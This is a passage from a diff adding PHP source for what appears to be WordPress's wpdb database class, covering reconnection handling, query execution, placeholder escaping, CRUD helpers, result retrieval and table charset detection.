+	 * If this function is unable to reconnect, it will forcibly die, or if after the
+	 * the {@see 'template_redirect'} hook has been fired, return false instead.
+	 *
+	 * If $allow_bail is false, the lack of database connection will need
+	 * to be handled manually.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
+	 * @return bool|void True if the connection is up.
+	 */
+	public function check_connection( $allow_bail = true ) {
+		if ( $this->use_mysqli ) {
+			if ( ! empty( $this->dbh ) && mysqli_ping( $this->dbh ) ) {
+				return true;
+			}
+		} else {
+			if ( ! empty( $this->dbh ) && mysql_ping( $this->dbh ) ) {
+				return true;
+			}
+		}
+
+		$error_reporting = false;
+
+		// Disable warnings, as we don't want to see a multitude of "unable to connect" messages
+		if ( WP_DEBUG ) {
+			$error_reporting = error_reporting();
+			error_reporting( $error_reporting & ~E_WARNING );
+		}
+
+		for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) {
+			// On the last try, re-enable warnings. We want to see a single instance of the
+			// "unable to connect" message on the bail() screen, if it appears.
+			if ( $this->reconnect_retries === $tries && WP_DEBUG ) {
+				error_reporting( $error_reporting );
+			}
+
+			if ( $this->db_connect( false ) ) {
+				if ( $error_reporting ) {
+					error_reporting( $error_reporting );
+				}
+
+				return true;
+			}
+
+			sleep( 1 );
+		}
+
+		// If template_redirect has already happened, it's too late for wp_die()/dead_db().
+		// Let's just return and hope for the best.
+		if ( did_action( 'template_redirect' ) ) {
+			return false;
+		}
+
+		if ( ! $allow_bail ) {
+			return false;
+		}
+
+		wp_load_translations_early();
+
+		$message = '<h1>' . __( 'Error reconnecting to the database' ) . "</h1>\n";
+
+		$message .= '<p>' . sprintf(
+			/* translators: %s: database host */
+			__( 'This means that we lost contact with the database server at %s. This could mean your host&#8217;s database server is down.' ),
+			'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
+		) . "</p>\n";
+
+		$message .= "<ul>\n";
+		$message .= '<li>' . __( 'Are you sure that the database server is running?' ) . "</li>\n";
+		$message .= '<li>' . __( 'Are you sure that the database server is not under particularly heavy load?' ) . "</li>\n";
+		$message .= "</ul>\n";
+
+		$message .= '<p>' . sprintf(
+			/* translators: %s: support forums URL */
+			__( 'If you&#8217;re unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ),
+			__( 'https://wordpress.org/support/' )
+		) . "</p>\n";
+
+		// We weren't able to reconnect, so we better bail.
+		$this->bail( $message, 'db_connect_fail' );
+
+		// Call dead_db() if bail didn't die, because this database is no more. It has ceased to be (at least temporarily).
+		dead_db();
+	}
+
+	/**
+	 * Perform a MySQL database query, using current database connection.
+	 *
+	 * More information can be found on the codex page.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $query Database query
+	 * @return int|false Number of rows affected/selected or false on error
+	 */
+	public function query( $query ) {
+		if ( ! $this->ready ) {
+			$this->check_current_query = true;
+			return false;
+		}
+
+		/**
+		 * Filters the database query.
+		 *
+		 * Some queries are made before the plugins have been loaded,
+		 * and thus cannot be filtered with this method.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $query Database query.
+		 */
+		$query = apply_filters( 'query', $query );
+
+		$this->flush();
+
+		// Log how the function was called
+		$this->func_call = "\$db->query(\"$query\")";
+
+		// If we're writing to the database, make sure the query will write safely.
+		if ( $this->check_current_query && ! $this->check_ascii( $query ) ) {
+			$stripped_query = $this->strip_invalid_text_from_query( $query );
+			// strip_invalid_text_from_query() can perform queries, so we need
+			// to flush again, just to make sure everything is clear.
+			$this->flush();
+			if ( $stripped_query !== $query ) {
+				$this->insert_id = 0;
+				return false;
+			}
+		}
+
+		$this->check_current_query = true;
+
+		// Keep track of the last query for debug.
+		$this->last_query = $query;
+
+		$this->_do_query( $query );
+
+		// MySQL server has gone away, try to reconnect.
+		$mysql_errno = 0;
+		if ( ! empty( $this->dbh ) ) {
+			if ( $this->use_mysqli ) {
+				if ( $this->dbh instanceof mysqli ) {
+					$mysql_errno = mysqli_errno( $this->dbh );
+				} else {
+					// $dbh is defined, but isn't a real connection.
+					// Something has gone horribly wrong, let's try a reconnect.
+					$mysql_errno = 2006;
+				}
+			} else {
+				if ( is_resource( $this->dbh ) ) {
+					$mysql_errno = mysql_errno( $this->dbh );
+				} else {
+					$mysql_errno = 2006;
+				}
+			}
+		}
+
+		if ( empty( $this->dbh ) || 2006 == $mysql_errno ) {
+			if ( $this->check_connection() ) {
+				$this->_do_query( $query );
+			} else {
+				$this->insert_id = 0;
+				return false;
+			}
+		}
+
+		// If there is an error then take note of it.
+		if ( $this->use_mysqli ) {
+			if ( $this->dbh instanceof mysqli ) {
+				$this->last_error = mysqli_error( $this->dbh );
+			} else {
+				$this->last_error = __( 'Unable to retrieve the error message from MySQL' );
+			}
+		} else {
+			if ( is_resource( $this->dbh ) ) {
+				$this->last_error = mysql_error( $this->dbh );
+			} else {
+				$this->last_error = __( 'Unable to retrieve the error message from MySQL' );
+			}
+		}
+
+		if ( $this->last_error ) {
+			// Clear insert_id on a subsequent failed insert.
+			if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) )
+				$this->insert_id = 0;
+
+			$this->print_error();
+			return false;
+		}
+
+		if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) {
+			$return_val = $this->result;
+		} elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) {
+			if ( $this->use_mysqli ) {
+				$this->rows_affected = mysqli_affected_rows( $this->dbh );
+			} else {
+				$this->rows_affected = mysql_affected_rows( $this->dbh );
+			}
+			// Take note of the insert_id
+			if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
+				if ( $this->use_mysqli ) {
+					$this->insert_id = mysqli_insert_id( $this->dbh );
+				} else {
+					$this->insert_id = mysql_insert_id( $this->dbh );
+				}
+			}
+			// Return number of rows affected
+			$return_val = $this->rows_affected;
+		} else {
+			$num_rows = 0;
+			if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
+				while ( $row = mysqli_fetch_object( $this->result ) ) {
+					$this->last_result[$num_rows] = $row;
+					$num_rows++;
+				}
+			} elseif ( is_resource( $this->result ) ) {
+				while ( $row = mysql_fetch_object( $this->result ) ) {
+					$this->last_result[$num_rows] = $row;
+					$num_rows++;
+				}
+			}
+
+			// Log number of rows the query returned
+			// and return number of rows selected
+			$this->num_rows = $num_rows;
+			$return_val     = $num_rows;
+		}
+
+		return $return_val;
+	}
+
+	/**
+	 * Internal function to perform the mysql_query() call.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @see wpdb::query()
+	 *
+	 * @param string $query The query to run.
+	 */
+	private function _do_query( $query ) {
+		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
+			$this->timer_start();
+		}
+
+		if ( ! empty( $this->dbh ) && $this->use_mysqli ) {
+			$this->result = mysqli_query( $this->dbh, $query );
+		} elseif ( ! empty( $this->dbh ) ) {
+			$this->result = mysql_query( $query, $this->dbh );
+		}
+		$this->num_queries++;
+
+		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
+			$this->queries[] = array( $query, $this->timer_stop(), $this->get_caller() );
+		}
+	}
+
+	/**
+	 * Generates and returns a placeholder escape string for use in queries returned by ::prepare().
+	 *
+	 * @since 4.8.3
+	 *
+	 * @return string String to escape placeholders.
+	 */
+	public function placeholder_escape() {
+		static $placeholder;
+
+		if ( ! $placeholder ) {
+			// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
+			$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
+			// Old WP installs may not have AUTH_SALT defined.
+			$salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand();
+
+			$placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}';
+		}
+
+		/*
+		 * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything
+		 * else attached to this filter will recieve the query with the placeholder string removed.
+		 */
+		if ( ! has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) {
+			add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 );
+		}
+
+		return $placeholder;
+	}
+
+	/**
+	 * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder.
+	 *
+	 * @since 4.8.3
+	 *
+	 * @param string $query The query to escape.
+	 * @return string The query with the placeholder escape string inserted where necessary.
+	 */
+	public function add_placeholder_escape( $query ) {
+		/*
+		 * To prevent returning anything that even vaguely resembles a placeholder,
+		 * we clobber every % we can find.
+		 */
+		return str_replace( '%', $this->placeholder_escape(), $query );
+	}
+
+	/**
+	 * Removes the placeholder escape strings from a query.
+	 *
+	 * @since 4.8.3
+	 *
+	 * @param string $query The query from which the placeholder will be removed.
+	 * @return string The query with the placeholder removed.
+	 */
+	public function remove_placeholder_escape( $query ) {
+		return str_replace( $this->placeholder_escape(), '%', $query );
+	}
+
+	/**
+	 * Insert a row into a table.
+	 *
+	 *     wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
+	 *     wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string       $table  Table name
+	 * @param array        $data   Data to insert (in column => value pairs).
+	 *                             Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 *                             Sending a null value will cause the column to be set to NULL - the corresponding format is ignored in this case.
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
+	 *                             If string, that format will be used for all of the values in $data.
+	 *                             A format is one of '%d', '%f', '%s' (integer, float, string).
+	 *                             If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @return int|false The number of rows inserted, or false on error.
+	 */
+	public function insert( $table, $data, $format = null ) {
+		return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' );
+	}
+
+	/**
+	 * Replace a row into a table.
+	 *
+	 *     wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
+	 *     wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
+	 *
+	 * @since 3.0.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string       $table  Table name
+	 * @param array        $data   Data to insert (in column => value pairs).
+	 *                             Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 *                             Sending a null value will cause the column to be set to NULL - the corresponding format is ignored in this case.
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
+	 *                             If string, that format will be used for all of the values in $data.
+	 *                             A format is one of '%d', '%f', '%s' (integer, float, string).
+	 *                             If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @return int|false The number of rows affected, or false on error.
+	 */
+	public function replace( $table, $data, $format = null ) {
+		return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' );
+	}
+
+	/**
+	 * Helper function for insert and replace.
+	 *
+	 * Runs an insert or replace query based on $type argument.
+	 *
+	 * @since 3.0.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string       $table  Table name
+	 * @param array        $data   Data to insert (in column => value pairs).
+	 *                             Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 *                             Sending a null value will cause the column to be set to NULL - the corresponding format is ignored in this case.
+	 * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
+	 *                             If string, that format will be used for all of the values in $data.
+	 *                             A format is one of '%d', '%f', '%s' (integer, float, string).
+	 *                             If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @param string $type         Optional. What type of operation is this? INSERT or REPLACE. Defaults to INSERT.
+	 * @return int|false The number of rows affected, or false on error.
+	 */
+	function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) {
+		$this->insert_id = 0;
+
+		if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ) ) ) {
+			return false;
+		}
+
+		$data = $this->process_fields( $table, $data, $format );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$formats = $values = array();
+		foreach ( $data as $value ) {
+			if ( is_null( $value['value'] ) ) {
+				$formats[] = 'NULL';
+				continue;
+			}
+
+			$formats[] = $value['format'];
+			$values[]  = $value['value'];
+		}
+
+		$fields  = '`' . implode( '`, `', array_keys( $data ) ) . '`';
+		$formats = implode( ', ', $formats );
+
+		$sql = "$type INTO `$table` ($fields) VALUES ($formats)";
+
+		$this->check_current_query = false;
+		return $this->query( $this->prepare( $sql, $values ) );
+	}
+
+	/**
+	 * Update a row in the table
+	 *
+	 *     wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) )
+	 *     wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) )
+	 *
+	 * @since 2.5.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string       $table        Table name
+	 * @param array        $data         Data to update (in column => value pairs).
+	 *                                   Both $data columns and $data values should be "raw" (neither should be SQL escaped).
+	 *                                   Sending a null value will cause the column to be set to NULL - the corresponding
+	 *                                   format is ignored in this case.
+	 * @param array        $where        A named array of WHERE clauses (in column => value pairs).
+	 *                                   Multiple clauses will be joined with ANDs.
+	 *                                   Both $where columns and $where values should be "raw".
+	 *                                   Sending a null value will create an IS NULL comparison - the corresponding format will be ignored in this case.
+	 * @param array|string $format       Optional. An array of formats to be mapped to each of the values in $data.
+	 *                                   If string, that format will be used for all of the values in $data.
+	 *                                   A format is one of '%d', '%f', '%s' (integer, float, string).
+	 *                                   If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
+	 *                                   If string, that format will be used for all of the items in $where.
+	 *                                   A format is one of '%d', '%f', '%s' (integer, float, string).
+	 *                                   If omitted, all values in $where will be treated as strings.
+	 * @return int|false The number of rows updated, or false on error.
+	 */
+	public function update( $table, $data, $where, $format = null, $where_format = null ) {
+		if ( ! is_array( $data ) || ! is_array( $where ) ) {
+			return false;
+		}
+
+		$data = $this->process_fields( $table, $data, $format );
+		if ( false === $data ) {
+			return false;
+		}
+		$where = $this->process_fields( $table, $where, $where_format );
+		if ( false === $where ) {
+			return false;
+		}
+
+		$fields = $conditions = $values = array();
+		foreach ( $data as $field => $value ) {
+			if ( is_null( $value['value'] ) ) {
+				$fields[] = "`$field` = NULL";
+				continue;
+			}
+
+			$fields[] = "`$field` = " . $value['format'];
+			$values[] = $value['value'];
+		}
+		foreach ( $where as $field => $value ) {
+			if ( is_null( $value['value'] ) ) {
+				$conditions[] = "`$field` IS NULL";
+				continue;
+			}
+
+			$conditions[] = "`$field` = " . $value['format'];
+			$values[] = $value['value'];
+		}
+
+		$fields = implode( ', ', $fields );
+		$conditions = implode( ' AND ', $conditions );
+
+		$sql = "UPDATE `$table` SET $fields WHERE $conditions";
+
+		$this->check_current_query = false;
+		return $this->query( $this->prepare( $sql, $values ) );
+	}
+
+	/**
+	 * Delete a row in the table
+	 *
+	 *     wpdb::delete( 'table', array( 'ID' => 1 ) )
+	 *     wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) )
+	 *
+	 * @since 3.4.0
+	 * @see wpdb::prepare()
+	 * @see wpdb::$field_types
+	 * @see wp_set_wpdb_vars()
+	 *
+	 * @param string       $table        Table name
+	 * @param array        $where        A named array of WHERE clauses (in column => value pairs).
+	 *                                   Multiple clauses will be joined with ANDs.
+	 *                                   Both $where columns and $where values should be "raw".
+	 *                                   Sending a null value will create an IS NULL comparison - the corresponding format will be ignored in this case.
+	 * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
+	 *                                   If string, that format will be used for all of the items in $where.
+	 *                                   A format is one of '%d', '%f', '%s' (integer, float, string).
+	 *                                   If omitted, all values in $where will be treated as strings unless otherwise specified in wpdb::$field_types.
+	 * @return int|false The number of rows updated, or false on error.
+	 */
+	public function delete( $table, $where, $where_format = null ) {
+		if ( ! is_array( $where ) ) {
+			return false;
+		}
+
+		$where = $this->process_fields( $table, $where, $where_format );
+		if ( false === $where ) {
+			return false;
+		}
+
+		$conditions = $values = array();
+		foreach ( $where as $field => $value ) {
+			if ( is_null( $value['value'] ) ) {
+				$conditions[] = "`$field` IS NULL";
+				continue;
+			}
+
+			$conditions[] = "`$field` = " . $value['format'];
+			$values[] = $value['value'];
+		}
+
+		$conditions = implode( ' AND ', $conditions );
+
+		$sql = "DELETE FROM `$table` WHERE $conditions";
+
+		$this->check_current_query = false;
+		return $this->query( $this->prepare( $sql, $values ) );
+	}
+
+	/**
+	 * Processes arrays of field/value pairs and field formats.
+	 *
+	 * This is a helper method for wpdb's CRUD methods, which take field/value
+	 * pairs for inserts, updates, and where clauses. This method first pairs
+	 * each value with a format. Then it determines the charset of that field,
+	 * using that to determine if any invalid text would be stripped. If text is
+	 * stripped, then field processing is rejected and the query fails.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $table  Table name.
+	 * @param array  $data   Field/value pair.
+	 * @param mixed  $format Format for each field.
+	 * @return array|false Returns an array of fields that contain paired values
+	 *                    and formats. Returns false for invalid values.
+	 */
+	protected function process_fields( $table, $data, $format ) {
+		$data = $this->process_field_formats( $data, $format );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$data = $this->process_field_charsets( $data, $table );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$data = $this->process_field_lengths( $data, $table );
+		if ( false === $data ) {
+			return false;
+		}
+
+		$converted_data = $this->strip_invalid_text( $data );
+
+		if ( $data !== $converted_data ) {
+			return false;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Prepares arrays of value/format pairs as passed to wpdb CRUD methods.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $data   Array of fields to values.
+	 * @param mixed $format Formats to be mapped to the values in $data.
+	 * @return array Array, keyed by field names with values being an array
+	 *               of 'value' and 'format' keys.
+	 */
+	protected function process_field_formats( $data, $format ) {
+		$formats = $original_formats = (array) $format;
+
+		foreach ( $data as $field => $value ) {
+			$value = array(
+				'value'  => $value,
+				'format' => '%s',
+			);
+
+			if ( ! empty( $format ) ) {
+				$value['format'] = array_shift( $formats );
+				if ( ! $value['format'] ) {
+					$value['format'] = reset( $original_formats );
+				}
+			} elseif ( isset( $this->field_types[ $field ] ) ) {
+				$value['format'] = $this->field_types[ $field ];
+			}
+
+			$data[ $field ] = $value;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Adds field charsets to field/value/format arrays generated by
+	 * the wpdb::process_field_formats() method.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array  $data  As it comes from the wpdb::process_field_formats() method.
+	 * @param string $table Table name.
+	 * @return array|false The same array as $data with additional 'charset' keys.
+	 */
+	protected function process_field_charsets( $data, $table ) {
+		foreach ( $data as $field => $value ) {
+			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
+				/*
+				 * We can skip this field if we know it isn't a string.
+				 * This checks %d/%f versus ! %s because its sprintf() could take more.
+				 */
+				$value['charset'] = false;
+			} else {
+				$value['charset'] = $this->get_col_charset( $table, $field );
+				if ( is_wp_error( $value['charset'] ) ) {
+					return false;
+				}
+			}
+
+			$data[ $field ] = $value;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * For string fields, record the maximum string length that field can safely save.
+	 *
+	 * @since 4.2.1
+	 *
+	 * @param array  $data  As it comes from the wpdb::process_field_charsets() method.
+	 * @param string $table Table name.
+	 * @return array|false The same array as $data with additional 'length' keys, or false if
+	 *                     any of the values were too long for their corresponding field.
+	 */
+	protected function process_field_lengths( $data, $table ) {
+		foreach ( $data as $field => $value ) {
+			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
+				/*
+				 * We can skip this field if we know it isn't a string.
+				 * This checks %d/%f versus ! %s because its sprintf() could take more.
+				 */
+				$value['length'] = false;
+			} else {
+				$value['length'] = $this->get_col_length( $table, $field );
+				if ( is_wp_error( $value['length'] ) ) {
+					return false;
+				}
+			}
+
+			$data[ $field ] = $value;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Retrieve one variable from the database.
+	 *
+	 * Executes a SQL query and returns the value from the SQL result.
+	 * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified.
+	 * If $query is null, this function returns the value in the specified column and row from the previous SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query.
+	 * @param int         $x     Optional. Column of value to return. Indexed from 0.
+	 * @param int         $y     Optional. Row of value to return. Indexed from 0.
+	 * @return string|null Database query result (as string), or null on failure
+	 */
+	public function get_var( $query = null, $x = 0, $y = 0 ) {
+		$this->func_call = "\$db->get_var(\"$query\", $x, $y)";
+
+		if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		}
+
+		// Extract var out of cached results based x,y vals
+		if ( !empty( $this->last_result[$y] ) ) {
+			$values = array_values( get_object_vars( $this->last_result[$y] ) );
+		}
+
+		// If there is a value return it else return null
+		return ( isset( $values[$x] ) && $values[$x] !== '' ) ? $values[$x] : null;
+	}
+
+	/**
+	 * Retrieve one row from the database.
+	 *
+	 * Executes a SQL query and returns the row from the SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query  SQL query.
+	 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+	 *                            an stdClass object, an associative array, or a numeric array, respectively. Default OBJECT.
+	 * @param int         $y      Optional. Row to return. Indexed from 0.
+	 * @return array|object|null|void Database query result in format specified by $output or null on failure
+	 */
+	public function get_row( $query = null, $output = OBJECT, $y = 0 ) {
+		$this->func_call = "\$db->get_row(\"$query\",$output,$y)";
+
+		if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		} else {
+			return null;
+		}
+
+		if ( !isset( $this->last_result[$y] ) )
+			return null;
+
+		if ( $output == OBJECT ) {
+			return $this->last_result[$y] ? $this->last_result[$y] : null;
+		} elseif ( $output == ARRAY_A ) {
+			return $this->last_result[$y] ? get_object_vars( $this->last_result[$y] ) : null;
+		} elseif ( $output == ARRAY_N ) {
+			return $this->last_result[$y] ? array_values( get_object_vars( $this->last_result[$y] ) ) : null;
+		} elseif ( strtoupper( $output ) === OBJECT ) {
+			// Back compat for OBJECT being previously case insensitive.
+			return $this->last_result[$y] ? $this->last_result[$y] : null;
+		} else {
+			$this->print_error( " \$db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N" );
+		}
+	}
+
+	/**
+	 * Retrieve one column from the database.
+	 *
+	 * Executes a SQL query and returns the column from the SQL result.
+	 * If the SQL result contains more than one column, this function returns the column specified.
+	 * If $query is null, this function returns the specified column from the previous SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string|null $query Optional. SQL query. Defaults to previous query.
+	 * @param int         $x     Optional. Column to return. Indexed from 0.
+	 * @return array Database query result. Array indexed from 0 by SQL result row number.
+	 */
+	public function get_col( $query = null , $x = 0 ) {
+		if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		}
+
+		$new_array = array();
+		// Extract the column values
+		if ( $this->last_result ) {
+			for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) {
+				$new_array[ $i ] = $this->get_var( null, $x, $i );
+			}
+		}
+		return $new_array;
+	}
+
+	/**
+	 * Retrieve an entire SQL result set from the database (i.e., many rows)
+	 *
+	 * Executes a SQL query and returns the entire SQL result.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $query  SQL query.
+	 * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants.
+	 *                       With one of the first three, return an array of rows indexed from 0 by SQL result row number.
+	 *                       Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively.
+	 *                       With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value.
+	 *                       Duplicate keys are discarded.
+	 * @return array|object|null Database query results
+	 */
+	public function get_results( $query = null, $output = OBJECT ) {
+		$this->func_call = "\$db->get_results(\"$query\", $output)";
+
+		if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
+			$this->check_current_query = false;
+		}
+
+		if ( $query ) {
+			$this->query( $query );
+		} else {
+			return null;
+		}
+
+		$new_array = array();
+		if ( $output == OBJECT ) {
+			// Return an integer-keyed array of row objects
+			return $this->last_result;
+		} elseif ( $output == OBJECT_K ) {
+			// Return an array of row objects with keys from column 1
+			// (Duplicates are discarded)
+			if ( $this->last_result ) {
+				foreach ( $this->last_result as $row ) {
+					$var_by_ref = get_object_vars( $row );
+					$key = array_shift( $var_by_ref );
+					if ( ! isset( $new_array[ $key ] ) ) {
+						$new_array[ $key ] = $row;
+					}
+				}
+			}
+			return $new_array;
+		} elseif ( $output == ARRAY_A || $output == ARRAY_N ) {
+			// Return an integer-keyed array of...
+			if ( $this->last_result ) {
+				foreach ( (array) $this->last_result as $row ) {
+					if ( $output == ARRAY_N ) {
+						// ...integer-keyed row arrays
+						$new_array[] = array_values( get_object_vars( $row ) );
+					} else {
+						// ...column name-keyed row arrays
+						$new_array[] = get_object_vars( $row );
+					}
+				}
+			}
+			return $new_array;
+		} elseif ( strtoupper( $output ) === OBJECT ) {
+			// Back compat for OBJECT being previously case insensitive.
+			return $this->last_result;
+		}
+		return null;
+	}
+
+	/**
+	 * Retrieves the character set for the given table.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $table Table name.
+	 * @return string|WP_Error Table character set, WP_Error object if it couldn't be found.
+	 */
+	protected function get_table_charset( $table ) {
+		$tablekey = strtolower( $table );
+
+		/**
+		 * Filters the table charset value before the DB is checked.
+		 *
+		 * Passing a non-null value to the filter will effectively short-circuit
+		 * checking the DB for the charset, returning that value instead.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param string $charset The character set to use. Default null.
+		 * @param string $table   The name of the table being checked.
+		 */
+		$charset = apply_filters( 'pre_get_table_charset', null, $table );
+		if ( null !== $charset ) {
+			return $charset;
+		}
+
+		if ( isset( $this->table_charset[ $tablekey ] ) ) {
+			return $this->table_charset[ $tablekey ];
+		}
+
+		$charsets = $columns = array();
+
+		$table_parts = explode( '.', $table );
+		$table = '`' . implode( '`.`', $table_parts ) . '`';
+		$results = $this->get_results( "SHOW FULL COLUMNS FROM $table" );
+		if ( ! $results ) {
+			return new WP_Error( 'wpdb_get_table_charset_failure' );
+		}
+
+		foreach ( $results as $column ) {
+			$columns[ strtolower( $column->Field ) ] = $column;
+		}
+
+		$this->col_meta[ $tablekey ] = $columns;
+
+		foreach ( $columns as $column ) {
+			if ( ! empty( $column->Collation ) ) {
+				list( $charset ) = explode( '_', $column->Collation );
+
+				// If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters.
+				if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
+					$charset = 'utf8';
+				}
+
+				$charsets[ strtolower( $charset ) ] = true;
+			}
+
+			list( $type ) = explode( '(', $column->Type );
+
+			// A binary/blob means the whole query gets treated like this.
+			if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ) ) ) {
+				$this->table_charset[ $tablekey ] = 'binary';
+				return 'binary';
+			}
+		}
+
+		// utf8mb3 is an alias for utf8.
+		if ( isset( $charsets['utf8mb3'] ) ) {
+			$charsets['utf8'] = true;
+			unset( $charsets['utf8mb3'] );
+		}
+
+		// Check if we have more than one charset in play.
+		$count = count( $charsets );
+		if ( 1 === $count ) {
+			$charset = key( $charsets );
+		} elseif ( 0 === $count ) {
+			// No charsets, assume this table can store whatever.
+			$charset = false;
+		} else {
+			// More than one charset. Remove latin1 if present and recalculate.
+			unset( $charsets['latin1'] );
+			$count = count( $charsets );
+			if ( 1 === $count ) {
+				// Only one charset (besides latin1).
+				$charset = key( $charsets );
+			} elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) {
+				// Two charsets, but they're utf8 and utf8mb4, use utf8.
+				$charset = 'utf8';
+			} else {
+				// Two mixed character sets. ascii.
+				$charset = 'ascii';
+			}
+		}
+
+		$this->table_charset[ $tablekey ] = $charset;
+		return $charset;
+	}
+
+	/**
+	 * Retrieves the character set for the given column.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $table  Table name.
+	 * @param string $column Column name.
+	 * @return string|false|WP_Error Column character set as a string. False if the column has no
+	 *                               character set. WP_Error object if there was an error.
+	 */
+	public function get_col_charset( $table, $column ) {
+		$tablekey = strtolower( $table );
+		$columnkey = strtolower( $column );
+
+		/**
+		 * Filters the column charset value before the DB is checked.
+		 *
+		 * Passing a non-null value to the filter will short-circuit
+		 * checking the DB for the charset, returning that value instead.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param string $charset The character set to use. Default null.
+		 * @param string $table   The name of the table being checked.
+		 * @param string $column  The name of the column being checked.
+		 */
+		$charset = apply_filters( 'pre_get_col_charset', null, $table, $column );
+		if ( null !== $charset ) {
+			return $charset;
+		}
+
+		// Skip this entirely if this isn't a MySQL database.
+		if ( empty( $this->is_mysql ) ) {
+			return false;
+		}
+
